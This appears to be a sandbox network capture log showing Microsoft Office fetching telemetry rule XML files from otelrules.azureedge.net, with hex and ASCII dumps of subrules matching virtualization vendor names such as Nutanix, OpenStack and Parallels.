2024-11-20 02:21:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-1777c6cb7549x5qchC1TEBggbg000000093g000000001u4v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-1777c6cb754xrr98hC1TEB3kag00000008ug000000007tun x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-185f5d8b95c96jn4hC1NYCbgp800000009hg00000000myar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:45 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-r1d97b99577lxltfhC1TEByw2s000000086000000000hssd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-r1d97b9957789g82hC1TEBstx0000000082g00000000kv4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022145Z-1777c6cb754vxwc9hC1TEBykgw00000008w000000000ky2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022146Z-1777c6cb754gc8g6hC1TEB966c00000008v000000000r25a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:46 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022146Z-185f5d8b95ckwnflhC1NYCx9qs00000009m000000000nzw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:46 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022146Z-1777c6cb7544n7p6hC1TEByvb4000000094g0000000072vb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022146Z-r1d97b99577n5jhbhC1TEB74vn000000082000000000pbcb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022146Z-185f5d8b95crl6swhC1NYC3ueg00000009ng00000000u33t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
